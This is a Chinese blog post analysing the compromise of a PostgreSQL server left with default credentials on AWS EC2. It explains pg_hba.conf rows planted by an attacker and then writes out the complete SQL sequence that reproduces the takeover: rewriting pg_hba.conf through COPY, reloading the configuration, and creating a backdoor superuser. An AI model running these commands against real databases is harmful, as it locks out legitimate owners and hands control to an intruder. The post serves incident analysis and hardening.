您当前的位置:首页 > 计算机 > 软件应用 > 数据库 > PostgreSQL

postgresql 数据库 入侵分析

时间:05-18来源:作者:点击数:

问题分析

前几天,由于开发需要,我在 AWS EC2 部署了一个PostgreSQL数据库服务,本来想着过几天用完就终止服务,因此放松了警惕,数据库服务的所有配置保持默认配置,包括账号密码以及端口。然而,今天连接数据库时,出现了如下异常:

FATAL: pg_hba.conf rejects connection for host "xx.xx.xx.xx", user "postgres", database "xxx", SSL off

异常信息大概意思是,数据库服务拒绝连接请求。

于是,我尝试登陆EC2服务后,通过本地连接到数据库,依然提示类似的错误信息。此时,我已经可以十分肯定,数据库被黑了……

异常信息中提示到 pg_hba.conf 文件,因此,沿着这个线索去找到问题所在。 pg_hba.conf 文件一般位于数据库的储存目录下,具体的位置取决于安装方式,经过一轮搜索,在此目录找到 pg_hba.conf 文件。

/var/lib/postgresql/data/pg_hba.conf

仔细检查 pg_hba.conf 配置文件后,发现文件的开头多了几行配置,如下:

local all all reject
host all postgres 0.0.0.0/0 reject
host all pgdbadm 0.0.0.0/0 md5

这三行配置的作用是无条件拒绝所有通过 Unix 域套接字进行的连接,以及拒绝所有 postgres 用户通过 TCP/IP 发起的连接,只允许 pgdbadm 用户通过 TCP/IP 发起的连接,并要求提供MD5的口令进行认证(密码)。由于 pg_hba.conf 配置文件的匹配逻辑是,只要有一条记录满足匹配条件,那么将不再考虑后面的记录。因此,黑客在不改变后面的记录的情况下,其新增记录依然生效。pg_hba.conf 配置文件的详细介绍可参考[官方文档][1]。

问题重现

黑客到底如何实现,不登陆服务器的情况下,间接修改数据库的 pg_hba.conf 配置文件呢?答案是只需要如下几条命令:

-- 登陆数据库服务后,创建临时数据库表
create table tmp(a text);

-- 找到 pg_hba.conf 的路径
show hba_file;

-- 将 pg_hba.conf 内容复制到 tmp 表中
copy tmp from '/var/lib/postgres/data/pg_hba.conf';

-- 新增记录与原文件内容合并后,覆盖原文件
copy (select 'local all all reject' union all select 'host all postgres 0.0.0.0/0 reject' union all select 'host all pgdbadm 0.0.0.0/0 md5' union all select * from tmp) TO '/var/lib/postgresql/data/pg_hba.conf';

-- 删除 tmp 表
drop table tmp;

-- 重新加载 pg_hba.conf 文件
select pg_reload_conf();

-- 创建新用户并更改用户权限
create user pgdbadm with encrypted password 'newpass';
ALTER USER pgdbadm WITH SUPERUSER;

到此完毕。

方便获取更多学习、工作、生活信息请关注本站微信公众号城东书院 微信服务号城东书院 微信订阅号
推荐内容
相关内容
栏目更新
栏目热门